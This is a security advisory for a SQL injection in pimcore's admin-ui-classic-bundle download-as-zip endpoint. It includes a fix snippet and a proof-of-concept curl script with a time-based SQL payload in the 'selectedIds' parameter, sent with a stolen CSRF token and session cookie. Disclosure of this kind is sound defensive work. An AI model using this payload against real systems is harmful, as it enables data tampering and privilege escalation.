GHSA-cwx6-4wmf-c6xv SQL Injection in Admin download files as zip

• Packagist pimcore/admin-ui-classic-bundle: >= 1.0.0, < 1.3.2 → fixed in 1.3.2

Summary The application allows to create zip files from available files on the site. The parameter "selectedIds", is susceptible to SQL Injection. Details downloadAsZipJobsAction escape parameters, but downloadAsZipAddFilesAction not. The following code should be added: ``` foreach ($selectedIds as $selectedId) { if ($selectedId) { $quotedSelectedIds[] = $db->quote($selectedId); } } ``` PoC • Set up an example project as described on https://github.com/pimcore/demon (demo package with example content) • Log In. Grab the `X-pimcore-csrf-token` header from any request to the backend, as well as the `PHPSESSID` cookie. • Run the following script, substituting the values accordingly: ``` !/bin/bash BASE_URL=http://localhost # REPLACE THIS! CSRF_TOKEN="5133f9d5d28de7dbab39e33ac7036271284ee42e" # REPLACE THIS! COOKIE="PHPSESSID=4312797207ba3b342b29218fa42f3aa3" # REPLACE THIS! SQL="(select*from(select(sleep(6)))a)" curl "${BASE_URL}/admin/asset/download-as-zip-add-files?_dc=1700573579093&id=1&selectedIds=1,${SQL}&offset=10&limit=5&jobId=655cb18a37b01" \ -X GET \ -H "X-pimcore-csrf-token: ${CSRF_TOKEN}" \ -H "Cookie: ${COOKIE}" ` ``` • The response is delayed by 6 seconds. Impact Any backend user with very basic permissions can execute arbitrary SQL statements and thus alter any data or escalate their privileges to at least admin level.
